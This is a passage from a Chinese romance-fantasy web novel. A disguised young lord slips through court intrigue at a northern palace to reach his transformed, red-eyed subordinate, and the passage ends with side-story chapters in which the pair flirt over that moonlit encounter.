“你们说,这神女降临,是不是上天看咱们忠心,要赐福于咱们?”
“肯定的呀,这是上天旨意,跟着陛下好好供奉神女,好处少不了咱们的。”
他们眼神里透着狂热与贪婪。
仿佛已经看到了数不尽的财富和至高无上的权力。
“听说,上古神女降临,辅佐的君主都开创了盛世!”
“对呀对呀,听说哪个皇帝成真了,长生不老了!”
他们越说越兴奋,脸上的肥肉都跟着抖动起来。
陡然间,原本还算有序的人群像是平静的湖面被骤然投入了一块巨石。
一阵轻微的骚乱在人群中蔓延开来。
慕酌下意识地循声望去神女的位置。
她静静地伫立在人群之中,周身散发出一种神秘而清冷的气质。
与周围的喧嚣奢靡格格不入。
像是有无形的引力,牢牢吸引着慕酌的目光,让他再也从这个人身上,移开分毫。
慕酌心中猛地一动,恰似在黑暗中捕捉到了一丝微弱的曙光。
他站起身,装作喝多了酒,步伐摇摇晃晃,拿着酒杯慢慢靠近。
他敏锐地瞅准身旁两人因拥挤而相互推搡,趁此机会,佯装不慎被撞到。
顺着那股力道,脚步踉跄地朝着神女的方向扑去。
周围人顿时一阵忙乱,纷纷叫嚷着相互赔礼道歉。
可慕酌的视线自始至终都紧紧盯着眼前这个人,眼中满是焦急与关切。
待好不容易靠近时,他微微仰头,细细打量。
蒙着的面纱被婢女重新戴上去,摇曳的烛光下泛着隐隐的光。
仿佛一层神秘的屏障。
唯有那双血色眼眸露在外面,平静得如一汪深不见底的幽潭。
没有丝毫情绪的波澜。
那眼眸冰冷得让慕酌心中一寒,仿佛面对的是一个没有灵魂的躯壳。
还未等慕酌抓住这难得的机会开口,不远处便传来一声突兀的呼喊。
“你在干什么?你知不知道触怒的神女可是大忌!”
“狗东西,找死?”
慕酌不易察觉地皱了一下眉毛,碍事的家伙。
“那个你……”
“就你!过来!”
“陛下正与诸位大人谈论神鬼之说。”
“你过来说说你行商遇到的,祝我们脱离肉体凡胎,享天地同寿!”
慕酌心中暗恨,腾地燃起一股怒火。
仿佛被人兜头浇下一盆滚烫的铅水,不仅希望瞬间破灭。
压抑的怒火沿着血管迅速蔓延至全身。
他几欲将满口牙齿咬碎。
但他面上依旧不动声色,极力维持着镇定。
神鬼之说正是自己费尽心思混入皇宫的契机,此时绝不能贸然拒绝。
否则之前的努力都将付诸东流。
尽管满心担忧这个自己手下的校尉,到底是怎么变成了这样,但也只能压抑着内心如火烧般的焦急,。
随着来人缓缓走向皇帝所在之处。
脚步却似被钉住一般沉重,强忍着回头的冲动。
刚一靠近,便有一位大臣满脸堆起谄媚的笑容。
可那笑容却不达眼底,眼神中透着审视。
“你这人瞧着面生,不知是何方神圣,皇商里似乎没看见过你啊。”
那言语间看似随意,却带着一种上位者对陌生闯入者的轻蔑。
嘴角挂着明显的不屑,上下打量着慕酌。
身后的人眼神中满是轻蔑与试探,语气中跟着嘲讽。
“哼,不过是个不知天高地厚的小子!”
“也敢来参与陛下的谈论,莫不是来捣乱的吧?”
更有甚者,眼神阴鸷如鹰,不动声色地隐晦警告他。
“小子,莫要多管闲事!”
慕酌抬头看着此人,不动声色地低下去。
宴席中那紫色衣服的大臣确实是为国为民,不过这里没人想听他的。
而此人宴席间似乎也没放弃,一直游说,不过可惜……
只有一个人,就是这个出声警告他的,不知二人交谈了什么,那紫衣大臣露出震惊的神情。
随后便回到了自己的位置,默默地喝闷酒。
“你别小心坏了好事!”
“上一个冲撞神女的,
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如今还不知死活呢。”
“是啊是啊,黄大人就那么一个举动,不仅罚封路,官职也一降到底!”
“甚至全家都被充军,那下场,啧啧……”
慕酌心中冷哼,脸上却浮现出恰到好处的谦逊笑容。
不卑不亢地答道:“在下不过是一介商贾,平日里四处奔波。”
“做点小本生意,今日有幸得陛下召见,实在是倍感荣幸。”
话语简洁得体,既没有透露过多敏感信息,又不失礼数。
而那嘴角挂着不屑的大臣,阴阳怪气地讥讽。
“哼,商贾之流,向来重利轻义,今日来此,莫不是打着什么歪主意?”
慕酌依旧神色平静,不紧不慢地回应道。
“大人此言差矣。”
“商道虽以利为先,但也讲究诚信二字。在下虽为商贾,却也知晓忠君爱国之理。”
“此次前来,只想为陛下排忧解难,为国家略尽绵薄之力。”
这番话有理有据,巧妙地化解了对方的刁难。
那眼神阴鸷、隐晦警告的大臣,慕酌同样用模棱两可的话语回应。
既表明了自己无意招惹是非。
又不让对方察觉出自己的真实意图。
然而,在这看似平静的应对之下,慕酌内心早已心急如焚。
仿佛有千万只蚂蚁在噬咬。
他的目光不自觉地朝校尉所在的方向飘去。
每耽搁一秒,心中的焦急便增添一分。
脑海中飞速思索着能再次见到宛楪的办法。
以向神女请教神鬼之说为借口,或是寻找其他由头……
打破眼前这困境。
可每一个念头刚一浮现,便被他自己推翻。
稍有不慎,不仅见不到人,还会暴露自己的身份。
给两人带来更大的危险。
慕酌脑海中不断权衡利弊,试图找出那唯一的破局之法。
慕酌周旋在这一群心怀叵测的大臣之中,却游刃有余。
仿佛他真的是一个商人,为了排解陛下的忧虑。
那位刚才警告他的大臣,皮笑肉不笑。
“公子所言虽有些道理,但这朝堂之事,错综复杂。”
“恐怕不是公子这般商贾能轻易理解的。”
慕酌表面赔着笑,笑意不达眼底:。
“大人说得极是,在下初来乍到,许多事还需向诸位大人多多请教。”
那人面色阴沉,不依不饶。
“哼,请教?我看你是另有目的吧。这神鬼之说,岂是你能随意掺和的?”
慕酌恭敬地说道:“大人误会了,在下只不过……”
“是对神鬼之事不过是略有耳闻,绝无他意。”
一番唇枪舌战下来,终于,他瞅准一个间隙,佯装接到紧急事务,对着众人抱拳道。
“诸位大人,实在对不住,方才在下突然想起有传说的神物没有带来,实在是在下疏忽。。”
“趁着宴会没结束,在下不得不先行告退,回去把东西拿来献给皇上。”
“改日再向各位大人赔罪。”
北国的大臣,在这样的宴会,就像是南国市井一样。
真不知道这样的国家是怎么和南国打仗的,还侵占几座城。
是南国的人太差了,这样的都能输。
他脚步匆忙,挤开人群行走。
而身后一直找他错误的人,面色变得更加阴沉。
45. 你做不到?
暗黄色的衣诀在人群中的拥挤下,翻来翻去。
他望着慕酌离开的背影,眼神一直没有移开,带着一丝警惕,闪着算计。
这场充满试探与刁难的交谈终于结束。
慕酌快步穿过人群,殿内的喧嚣如潮水般被他甩在身后。
夜晚的凉风扑面而来,带着丝丝寒意,可他内心的焦急与燥热却丝毫未减。
跨出殿门的那一刻,月光如水洒在他身上,将他的身影拉长。
周围的一切显得静谧而清冷,与殿内的热闹形成鲜明对比。
慕酌微微顿了顿,深吸一口气。
试图让自己狂躁的心平静下来。
脑海中却仍不断思索着自己和校尉处境。
此刻,他已无暇顾及皎洁的月光。
夜色浓稠得仿佛能将一切吞噬。
一个黑影如鬼魅般悄然浮现,黑影行动诡秘。
脚步轻盈得近乎无声,仿佛与这夜色融为一体,来人微微躬身,压低声音。
恭敬地唤道:“少主。”
声音低沉而沙哑,仿佛从黑暗的深处传来。
慕酌眉头微微拧紧,眼神中闪过一丝忧虑,低声而急切地吩咐道。
“你去留意那个神女,行事务必万分小心,每一个细节都不能放过。”
“查清楚这究竟是何缘由,背后到底隐藏着什么阴谋。”
黑影微微点头,犹如暗夜中的幽灵,身形一闪,便融入了茫茫夜色之中,消失得无影无踪。
只留下慕酌独自伫立在原地,眼神中满是担忧与决然。
在寂静的夜色里默默等待着消息,准备迎接即将到来的未知挑战。
慕酌一心念着尽快与校尉相见,在宫殿那宛如迷宫般错综复杂的廊道间匆匆穿梭。
目光有些急切,寻觅着时机。
廊道两侧,宫灯散发着昏黄的光,将他的身影拉得时而狭长,时而扭曲。
正疾走着,一个熟悉的身影如鬼魅般拦住了他的去路。
还是朝堂之上那不断刁难他的大臣。
只见他双手抱胸,身子微微后仰,脸上挂着不怀好意的笑。
嘴角勾起的弧度藏着无数算计。
身旁跟着个面色阴沉的仆人,低垂着头,可那偶尔斜睨的眼神中,满是不屑。
“哼,没想到在这儿还能碰到你。”
那大臣开口,语气中嘲讽之意毫不掩饰,如同锐利的箭矢直刺而来。
“怎么,还在这皇宫里乱转,莫不是还打着什么歪主意?”
慕酌心中厌烦如潮水翻涌。
可面上依旧镇定自若,宛如平静的湖面。
他不紧不慢地回应:“大人这话从何说起?”
“在下不过是四处走走,熟悉熟悉这皇宫的景致。”
“这也是皇上允诺的,倒是大人,这般阻拦在下,又是何意?”
话说的就像是一个仗着皇权偏让,不把别人放在眼里的嚣张跋扈之徒。
大臣身旁的仆人,此时斜着眼睛,从上到下。
像打量一件货物般满脸不屑地打量慕酌。
嘴角微微上扬,露出一抹轻蔑到极致的笑。
那笑容如同冬日的寒风,带着刺骨的恶意。
慕酌将这一切看在眼里,心中顿生疑窦。
毫不示弱地怼道:“这位……奴才,不知为何这般看着在下?”
“可是我身上有什么不妥之处?若有指教,不妨直说。”
仆人被怼得脸色瞬间一僵,那原本轻蔑的笑容仿佛被冻结在脸上。
眼中闪过一丝狠辣,正要动手,却被那大臣拦下。
一腔怒火,却也不敢造次,只是死死地盯慕酌。
大臣见状,冷哼一声。
“少装蒜!”
“你最好别在皇宫里耍什么花样,否则,有你好看!”
慕酌勾唇笑了笑,“是吗,我到不知道这位大人为什么这么关心皇宫。”
“莫非也是有什么见不得人的身世?”
那仆人竖眉一吝,抽出身边的剑,怒声呵斥,“放肆!”
“青木!”
大臣出声,仆人咬着牙把剑收了回去,手指都在抖动。
黄色的衣诀翻飞,在皇宫这样的环境显得有些灰暗。
身上的料子甚至不如慕酌这一件,随便被赐的好。
此人冷冷地看着慕酌,随即嗤笑一声,“天堂有路你不走,地狱无门你偏进,可别怪我没提醒你。”
“青木,我们走。”
那人转身就要走,却被慕酌叫住。
慕酌看着此人的样子,心中一动,一个念头如闪电般划过脑海。
他不紧不慢地说道:“大人如此笃定我有花样,倒不如我们打个赌。”
“若我输了,任凭大人处置,可若我赢了,大人得答应我一个条件。”
大臣挑眉,眼中狐疑之色更浓。
如同审视猎物般盯着慕酌,仿佛要将他看穿:
“赌?”
“你想赌什么?又凭什么觉得我会答应你?”
慕酌微微一笑,目光坦然,那笑容中仿佛藏着无尽的自信。
“大人在这皇宫人脉广,若能帮我一个小忙,赌局之后,无论输赢,我都不会让大人吃亏。”
大臣满脸不屑,冷哼一声。
斜睨着慕酌,言辞尖锐:“我凭什么信你?”
“你不过是个唯利是图的商人,也妄图与我谈条件?”
“简直不自量力!”
慕酌听到这话神色镇定,眼中甚至闪过一丝狡黠,不慌不忙地回应。
“就赌皇上膝下这几位皇子,究竟谁能在这场权力的角逐中笑到最后。”
“成为最终的赢家。”
慕酌嘴角带着笑,是一种从容不迫,胜卷在握的笃定。
此言一出,周围的空气仿佛瞬间被寒霜笼罩,陡然凝结。
对面两人脸色骤变,眼中警惕之色大盛,犹如面对生死大敌。
目光中甚至隐隐透露出杀意。
仿佛只要慕酌再多说一个字,便会毫不犹豫地出手将他置于死地。
慕酌却仿若未觉,微微挑眉,神色从容:“大人意下如何?”
那仆从的手不自觉地摸向腰间,那里藏着一把匕首。
微微隆起的布料,他随时可能拔刀相向。
那大臣牙关紧咬,眼中杀意翻涌。
像是饥饿的野狼死死盯着闯进领地的外来者。
偏生慕酌像是不怕死一样,还要再问一句,“如何?”
“你找死!”大臣身后的仆人一下子冲过来,手中利剑直指慕酌!
杀意弥漫,慕酌却嗤笑一声,静静站在原地,眼睛却看着那表情崩裂的“大臣”。
“住手!”那大臣自己拦下了致命一击。
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手指被划开一道血淋淋的伤口,血液滴答而下,溅落到地面。
“主子!”仆从面色异常慌张,就没有任何犹豫,迅速跪了下去,话语间全是慌张和自责。
“青木请求受罚!”声音震慑有力,却听得里面满是破碎和惶恐。
还有浓浓的自责。
大臣的眼神闪烁不定,最终看着慕酌,眼神定定地,随即戴上阴狠的警告。
“好,我倒要看看,你,要干什么!”
每一个字都像是从嘴里咬着说出来,用了极大的力气。
他胸腔剧烈地抖动,喘气声充满了急促,满是愤怒。
跪着的仆从仍在瑟瑟发抖,却被一把拽起来。
“主子……”
“闭嘴!”
大臣厉声呵斥,那仆从终是不再说话,退到后面深深低着头,还沉浸在无休止的自责里。
大臣平缓了几口气,思索片刻,抬起头。
眼睛里不再是轻视,而是警惕和怀疑。
他点头同意:“好,我倒要看看你耍什么把戏!”
“说吧,要我帮什么忙。”
大臣看着慕酌,眼神不曾离开,眼睫毛在眼周投下一点阴影。
哪怕看不见,也知道这里满是杀意。
慕酌压低声音,声音却清楚地穿进那大臣的耳朵。
“我想见见那位新封的月亮女神。”
大臣先是一愣,那表情仿佛听到了什么不可思议的事情。
随后眉眼上挑,露出一抹不解不屑的嗤笑。
说出这么大的秘密,就为了……
见神女一面?!
说到底,可能是他紧张过了,眼前这个人,说不定根本什么都不知道,那话不过是随口一说。
他撇了撇嘴,叹了一口气,起步往前走,示意慕酌跟上。
在大臣的掩护下,慕酌顺利朝着宛楪所在之处前行。
一路上,周围的气氛愈发显得诡异。
原本应是守卫森严的宫殿区域,此刻竟没有什么人靠近看守。
偶尔有几个巡逻的侍卫,神色匆匆。
眼神闪躲,仿佛在刻意避开这个方向。
大臣抬头,眼神指着那处宫殿,随即又带上了轻蔑。
“北国有恐怖的传说,跟这类似的眼睛有关。”
“你小心点,别到时候把命搭进去。”
话里满是讽刺。
随即咧着嘴笑,“你要是害怕就算了,毕竟你连进去都不容易。”
这话说得仿佛这对他来说易如反掌。
似乎在这皇宫之中有着旁人不知的权势。
他身份不简单……
慕酌神色冷了冷,随即变回平静,“你做不到?”
那“大臣”看了慕酌一眼,有些怯濡。
没有再出言挑衅,高傲地抬了抬下巴。
“切,就这点事?跟我来吧。”
见慕酌被这位“大臣”领回来,那些人没有怀疑,让慕酌进去了。
慕酌蒙着面,自称是新来的护卫。
领头的受到那“大臣”的示意,随意地摆摆手,让他去内院。
嘴里嘟囔着:“既然是大人带来的,自然信得过。”
“不过那女人的血色瞳孔真渗人,我每次看到都心里发怵。”
“你小心点。”
声音虽低,却如重锤般敲在慕酌心上。
46. 心吻
慕酌的心,仿若被一只无形的大手陡然攥紧,一阵寒意自脊梁骨悄然爬上。
只觉此事的诡异如同夜幕中弥漫的雾气,丝丝缕缕,无孔不入。
不及片刻思索,那丝莫名的异样,宛如一条隐秘的丝线,牵引着他的脚步。
他朝着内院快步奔去。
月光恰似一匹洁白的素练,毫无保留地倾洒在内院的每一寸角落。
仿佛要将这方天地映照得纤毫毕现。
树木静静地沐浴在这清冷的清辉之中,泛出幽冷的光泽。
他一踏入内院,便一眼捕捉到那被众人称作“神女”的身影,独自茕茕静立于月下。
她仰首,目光直直地看向那高悬的明月,神色专注而又迷离。
清冷的月华如瀑般倾落,将她的周身尽数笼罩,恰似为她披上了一层薄透的银纱。
然而,这层银纱非但未给她增添半分清美之态。
反而隐隐间为她的周身笼上了几分难以言喻的恐怖。
血色的瞳孔没有任何波澜和光芒。
仿佛她已然超脱了尘世,成为了这神秘月夜的一部分。
慕酌下意识地放轻了脚步,每一步落下。
他的脸上,担忧之色如墨般晕染开来,怎么也掩饰不住。
“六校尉,是我,慕酌。”
他极力压低声音,那声音轻得如同微风拂过草叶。
带着小心翼翼的试探,在寂静的夜空中若有若无地飘散。
然而,那“神女”却宛如一尊石像,毫无反应。
仿佛她的灵魂早已脱离了这具躯壳,徒留一副空壳在此。
她依旧直直地凝望着月亮,身姿僵凝得如同千年不化的冰雕。
慕酌心中的担忧愈发浓烈。
正暗自犹豫着是否该换一种方式唤醒她的意识。
就在这时,“神女”却突然缓缓转动身体!
她的动作迟缓得令人毛骨悚然,带着一种机械般的僵硬。
仿佛历经漫长时光,她的关节已被锈死,从未有过舒展的机会。
那迟缓的姿态,发出令人牙酸的“嘎吱”声。
在这静谧的月光下,多添了生出几分诡异。
就在下一秒,清冷月光中,一双血色眼眸骤然亮起。
光芒亮得惊人,宛如两团燃烧的诡异火焰。
瞬间将周围的空气都染上了一层神秘而恐怖的色彩。
这双眼睛直直锁定了正缓缓靠近她的慕酌。
刹那间,慕酌只感觉仿佛有一道来自地狱深渊的幽光,毫无阻碍地穿透了自己的身体。
一股彻骨的寒意从心底泛起,顺着脊梁骨一路蔓延,让他浑身的寒毛都竖了起来。
在这双眼睛里,往昔那份熟悉与温情已消失得干干净净,无影无踪。
只剩下让人寒彻心扉的冰冷,以及全然陌生的疏离。
此刻,在她眼中,慕酌仿佛只是一个无关痛痒的路人。
又或者,是一个不共戴天的仇敌。
如冰刀般刺向慕酌。
“你到底怎么了,怎么……”
慕酌的声音不自觉地微微颤抖,带着些许小心翼翼。
“怎么还变成女的了?”
然而,眼前的人只是直勾勾地盯着他,准确来说,是紧紧盯着他胸口的位置。
眼神中透着一种莫名的执着。
紧接着,让慕酌这辈子都意想不到的事情发生了。
只见她毫无犹豫地伸出手,动作虽迟缓却带着一股不容抗拒的力量,径直戳向慕酌胸口左侧的位置。
纤细的指节在他的锦衣布料上缓缓滑动。
那触感如同冰冷的蛇信,让慕酌心中一阵发毛。
慕酌看着这大胆得近乎荒唐的举动,一时间惊愕得大脑一片空白,完全不知该作何反应。
葱白的手指在他胸口一处来回摸索徘徊。
仿佛在寻找着什么至关重要的东西。
慕酌不禁皱了皱眉,心中涌起一股复杂的情绪。
出于对眼前人莫名的担忧与疑惑,并没有阻止她的动作。
只是继续焦急地询问:
“你……”
“知不知道你在干什么?”
“还有你到底怎么了?”
“你这双眼睛到底是怎么回事?”
更让他瞠目结舌的是,那嫩白的指尖竟顺着衣服边缘,直接扒下了他的一层外衣。
“!”
慕酌还来不及发出惊叹,便见她双手并用,动作迅速而干净利落。
转眼间就将他的衣服里三层外三层扒了下去,露出胸腔左侧的皮肤。
慕酌瞪大了双眼,连说话都不自觉地带上几分结巴:
“不……不是,你……你你你干什么呢你?”
而那个人却径直将手贴在了那处!
似乎是在专注地感受他的胸腔。
胸腔左侧,正是心脏的位置。
她是在感受他心脏的跳动?!
慕酌满心困惑,怎么也想不明白,他们何时变得如此“亲密”!
“她……她这是在做什么?”
慕酌瞪大了双眼,眼中满是难以置信与慌乱。
他的大脑一片混乱,各种念头如潮水般翻涌。
一方面,对她突如其来的亲密举动感到震惊和不知所措。另一方面,又忍不住担忧她是否遭遇了什么变故,才会如此反常。
或者说,她到底为何会做出这般匪夷所思的举动。
他喜欢男的?
慕酌甚至怀疑到了这一点,难道是他之前没看出来?
这个人一直对他……
图!谋!不!轨!
慕酌正要伸手把她的手拉开,却见她缓缓抬头。
动作迟缓得好似时间都在这一刻放慢了脚步。
她仰起脸,白皙的脖颈线条优美而修长。然而那血色眼眸中却透着一种令人心悸的异样。
她的嘴唇微微张开,像是在轻轻喘息。
“难道是中了什么邪术?还是……”
慕酌心中暗自揣测,可越想越觉得不安。
他的双手僵在半空,想要推开她,却又怕动作过激伤害到她。
想就这么任由她动作,可这种暧昧又怪异的情形实在让他浑身不自在。
此时的他,只感觉自己像是陷入了一场荒诞而又无法挣脱的梦境之中。
慕酌叹了一口气,正要伸手把她的手拉开,她却又慢慢靠近。
慕酌以为他是要说话,凑近了些打算,好好听一听。
但是意想不到的事情发生了。
这个人并没有说话,而是慢慢的靠近他……
她的呼吸轻柔而温热,喷洒在慕酌的肌肤上,像是羽毛轻轻扫过。
嘴唇微微贴在了他的心口处!
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“!”
慕酌全身的血液仿佛都凝固了一瞬,紧接着又开始疯狂地涌动。
一阵酥麻的电流瞬间传遍他的全身,心脏不受控制地剧烈跳动起来,仿佛要冲破胸腔。
他的双手下意识地微微抬起,想要推开她,却又仿佛被一种无形的力量束缚住。
悬在半空,动弹不得。
月光如水,洒在两人身上,将他们的身影交融在一起。
在地面上拉出一道暧昧而扭曲的影子。
周围的空气仿佛也变得粘稠起来,弥漫着一种难以言喻的暧昧与紧张。
他……
他这是被非礼了吧?
这……这到底是为什么?
许久,慕酌才从震惊中缓过神来,喉咙干涩得厉害,声音不自觉地变得沙哑。
可那个人嘴唇离开后,又换成手,在他胸口处不停摸索,动作执着而怪异。
慕酌实在忍无可忍,猛地一把拽住她的手。
那漂亮的手指弯曲着,仿佛还在试图做抓挠的动作。
指尖的温度透过肌肤传来,却带着一种说不出的诡异。
“你还记不记得我是你的上级?”
“你对我如此放肆,就不怕我撤了你的职?!”
“还有,我问你到底是怎么回事,你为什么不说话?”
然而,那个人依旧没有回应他,只是用那双血红色的眼睛阴恻恻地看着他。
手指还在不断往前伸,直到发现慕酌的力气很大,自己根本无法挣脱。
奇怪的是,那血红色的眼睛里竟出现了一丝迷茫,甚至透露出不高兴的神色。
仿佛慕酌阻止她的行为是一件天大的错事。
慕酌又叹了一口气,满心无奈与困惑。
“你不高兴?”
“你不高兴什么?”
“我……才是被非礼的那一个好吧!”
“我跟你说话呢,你最好清醒一点!”
“还有,你最好给我解释一下你今天这到底是什么意思!”
慕酌的声音罕见的有一些激动,在皇宫大殿上隐藏的非常的好。
到现在几乎没有一点的面具。
七情六欲,五味杂陈,全在慕酌的脸上体现。
那个人缓缓抬起头,目光与慕酌对视片刻。
那眼神仿佛穿越了无尽的迷雾,带着一种难以言喻的陌生感。
随后慢慢往后退了几步,将手从慕酌手中抽开。
慕酌静静地看着她,心中充满了疑问,想知道她究竟要做什么。
但是她什么都没有做,就这么静静的看着他。
月光洒在两个人的身上,院子里面只有他们两个。
不得不说,眼前的人确实美得惊人。
金紫色的神女服饰,边缘镶着金线,闪烁着神秘而高贵的光泽。
宛如一位初尘不染、举世独立的仙子。
北国皇帝封她为月亮女神,倒也并非毫无道理。
她那高傲的气质、遗世独立的姿态、一尘不染的清冷模样,以及傲视群雄的神情。
再加上那双绝无仅有的血色眼睛,好像一块巨大的红色宝石,镶嵌在这张毫无瑕疵的脸上。
让人移不开视线,仿佛被施了魔法一般,陷入她所营造的神秘氛围之中。
长得好看有什么用?
还不是……
还不是非礼的他!
47. 番外一
暮春的暖阳,揉碎了金箔,慵懒地铺满庭院。
这座与世隔绝的桃源,被粉白的花瓣雨温柔笼罩。
蝶舞般的落英,无声地亲吻着蜿蜒的青石小径与碧绒般的草地。
蔷薇织就的花墙,粉白交织,云蒸霞蔚,将尘嚣彻底隔绝。
花影深处,石凳上并肩坐着两人。
阳光为他们镀上柔和的金边,仿佛画中人。
慕酌一袭月白长衫,衣料在光下流淌着温润的光泽。
领口袖口精致的银线云纹更衬得他气质出尘。
面容清俊,剑眉斜飞入鬓。
眼尾微微上挑的狐狸眼,本该带着几分狡黠风流。
此刻却盛满了春日暖阳般的笑意。
专注地落在身侧人儿身上。
那笑意漫上嘴角,柔和了他棱角分明的下颌线。
身边的女子坐在漂亮鲜花藤蔓缠绕的椅子上,身着一袭柔润的绿色衣裙。
那绿色并非单调一色,而是由深及浅的渐变。
裙摆处向上过渡至,如新抽嫩芽般的浅碧衣料。
在阳光下流动着生命的光泽,仿佛将整个庭院的生机都穿在了身上。
耳垂上,点缀着一对小巧精致的碧金色耳饰。
造型宛如缠绕的细枝。
末端坠着米粒大小、光华内敛的碧金色宝石,
随着她细微的动作轻轻摇曳,映着日光,偶尔闪过一点神秘而温润的金芒。
那份源自草木精灵的纯净与此刻的娇羞交织在一起。
在金色的阳光里散发着令人屏息的美。
两人浸润在这近乎凝固的温柔光中。
思绪被拉回记忆的深潭。
慕酌狐狸眼中掠过一丝促狭的光,嘴角那抹笑意更深了几分,带着明显的逗弄意味。
他微微侧身,更靠近宛楪些,声音压得又轻又缓。
“宛楪?”
他故意停顿,满意地看到她敏感的耳垂又红了几分。
“嗯?”
“你还记不记得…有一次,你非礼我?”
“什么?!”圆润清澈的杏眼此时瞪得更是鼓鼓的。
眼里还带着一丝夕阳晚霞醉里的星光。
瞳孔的颜色却非人间所有,如同初春最清澈溪水底下的翡翠,又似林中新叶上凝结的露珠。
澄澈透明,流转着非尘世的灵韵与生机。
浓密的睫羽如同蝶翼般轻颤,泄露着主人内心的波澜。
宛楪整个人如遭电击,清晰地看到慕酌含笑的脸庞。
这种事她做过确实很正常……
瞬间,宛楪脸上露出难以置信的羞窘。不过她还是挣扎一下。
“不可能,至少……”
“至少在掳走你之前,没有!”
慕酌低头轻笑,带着溺死人的问题。
“哦,是吗,你……”
“确定?”
宛楪猛地抬眼看他,眨巴几下眼睛。
“嗯……确定!没有!”
慕酌脸上还带着笑,姣好的脸庞在月光下,还有这种像是喝醉了看到的晕乎乎的笑。
勾人摄魄地紧。
“我帮你回忆一下……”
慕酌低声说了几个字,慢慢靠近宛楪,“现在呢,你给我个解释吧,我可还记得呢……”
那双浅绿色的杏眼瞬间惊慌,她的主人想起来了……
澄澈的瞳孔里全是旁边的花,开的争艳,漂亮艳丽。
但是没遮住宛楪脸颊烧到脖颈,连小巧的锁骨都泛起了粉色。
她不敢再与那双含笑的狐狸眼对视,声音细若蚊蚋,带着明显的颤音:
“那……那不算!那时候我神志不清,做不得数的!”
她急急辩解,一缕墨黑色的发丝随着她低头的动作滑落。
堪堪遮住她半边滚烫的脸颊,手指无意识地绞紧了绿裙上自然的叶脉褶皱。
“哦?神志不清?”
这几个字慕酌拖了很长的音节。
慕酌哪肯放过她。
狐狸眼微眯,闪烁着狡黠而危险的光芒,了。
身体又欺近了几分,几乎能感受到她身上散发的温热和淡淡草木馨香。
他又刻意拉长了语调,低沉的声音带着蛊惑,
“神志不清都那般大胆……莫非,宛楪你早就对我……图谋不轨?”
他尾音上扬,目光灼灼,锁住她躲闪的绿色眼眸,仿佛要穿透那层羞怯,看清她心底最深处的秘密。
“才……才没有!”
宛楪急得连连摆手,碧色的衣袖在空中划出慌乱的弧线,像只受惊的小鹿。
她窘迫得几乎要缩成一团。
浅绿色的杏眼中水光潋滟,在慕酌那仿佛洞悉一切的目光逼视下,她终于败下阵来。
认命般地轻轻叹了口气,肩膀微微垮下。
她深吸一口气,像是鼓足了莫大的勇气。
声音依旧很轻,却带着坦白后的释然与一丝不易察觉的紧张:“其实……真的是下意识。”
“是你身体里的真身碎片……”
“它在吸引我。”
“我……我才会那样。”
说完,她飞快地瞥了慕酌一眼,又迅速低下头,手指用力地绞着裙角,指节微微泛白,泄露着她内心的忐忑。
他会怎么看待这个解释?
慕酌脸上的笑意,在她话音落下的瞬间,如同潮水般褪去。
他沉默下来,那双总是带着笑意的狐狸眼变得深沉。
目光投向地面上零落的花瓣。
长睫在眼下投下一小片阴影。
空气仿佛凝固了,只剩下微风拂过花叶的沙沙声和宛楪自己擂鼓般的心跳。
这沉默如同无形的巨石,沉甸甸地压在宛楪心头。
她看着他线条冷硬的侧脸,心一点点沉下去。
片刻后,慕酌毫无预兆地站起身。月白色的衣袂在空中划过一个清冷的弧度。
他甚至没有再看宛楪一眼,转身,迈开长腿,径直朝着庭院深处走去。
背影挺拔却透着疏离。
宛楪僵在原地,望着他决然离去的方向。
直到那抹月白彻底消失在爬满蔷薇的花墙转角。
心口仿佛被瞬间掏空,只余下冰冷的失落和尖锐的疼痛。
她苦笑着垂下眼睫,一滴温热悄然砸在手背上。
果然……他还是介意的。
介意她和他不是同一族类,说不定也会和那些人一样,算计,抛弃,之后迎接死期。
一切温柔旖旎,不过是自己一厢情愿的幻梦。
她早该知道的。
不是吗?
可……
为何心
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还是这般疼?
暮色四合,最后一缕天光被深蓝的夜幕吞噬。
清冷的月华如同水银泻地,无声地笼罩了整个庭院,将白日里温柔的景致染上几分幽秘。
一个挺拔的身影踏着月光归来。
慕酌换了一身玄色锦袍。那黑色极深,仿佛能吸纳所有的光线。
唯有领口与袖口处用极细的金线勾勒出繁复的云雷暗纹。
在月色下流转着低调而华贵的光泽。
剪裁极贴身的锦袍完美地勾勒出他宽肩窄腰的利落线条,行走间步履沉稳,带着一种不容置疑的力量感。
他径直走到宛楪面前停下,月光勾勒着他俊美不似凡人的轮廓。
那双标志性的狐狸眼在夜色中显得更加深邃,此刻里面没有戏谑,没有玩味。
只有一片令人心悸的认真与灼热。
如同暗夜中燃烧的星辰,直直地锁住宛楪。
宛楪被他看得心慌意乱,下意识地想后退,却被他身上迫人的气势钉在原地。
“不行。”
慕酌开口,声音低沉而清晰,带着一种不容反驳的坚定。
在寂静的庭院里格外清晰,每一个字都敲在宛楪心上,“我不信你那个说法。”
宛楪愕然抬眸,杏眼中满是困惑与受伤。
慕酌紧盯着她,唇角忽然勾起一个极浅、却带着某种执拗的弧度:“你得重演一遍。”
“什……什么?”
宛楪以为自己听错了,风带着院中的花草微微浮动,像是避开两人的谈话。
“把那天晚上的动作,”
慕酌一字一顿,目光灼灼,“再对我做一遍。现在。”
宛楪的脸瞬间红透,像熟透的樱桃。她慌乱地摇头:
“慕酌!你……这太荒唐了!”
“是你先‘荒唐’的。”
慕酌半步不退,那双狐狸眼在月光下仿佛带着魔力,充满了坚持。
“不做一遍,我怎么知道你是不是在骗我?”
“怎么知道……”
“你当时到底有没有杀心?”
他刻意加重了最后两个字。
宛楪被他堵得哑口无言,看着他眼中不容置疑的认真,心知避无可避。
果然,他还是怀疑了,或许下一秒就会离开吧……
宛楪眼中有些失落,但她很快掩饰过去。
没关系,那就是演示一下。
不过……
她深吸一口气,强压下狂乱的心跳和几乎要冲破喉咙的羞耻感。
颤抖着朝他靠近一步。
他说的是红色瞳孔时候,她记得,她把人家衣服……
清冷的月华如同水银泻地,清晰地映照着她此刻的模样。
一身柔碧的衣裙仿佛在夜色中静静呼吸,散发着朦胧的光晕。
粉颊绯红,那双圆润的杏眼此刻氤氲着水光。
浅绿色的瞳孔在月光下显得更加深邃剔透,如同蕴藏着整片森林的秘密,不安地颤抖着长睫。
她微微仰着头,心理不断给自己加油打气,哪怕是为了自己死心也好。
反正他知道了,就会厌恶她了。
宛楪露出线条优美的颈项,耳畔那对碧金耳饰在月色下流转着幽微的光芒。
慕酌垂眸看着她,玄衣衬得他肤色愈发冷白,狐狸眼中情绪翻涌。
48. 番外—月光下的告白(二)
宛楪的手抬了起来,纤细白皙的指尖带着细微的颤抖,迟疑地伸向慕酌的胸口。
她的动作极慢。
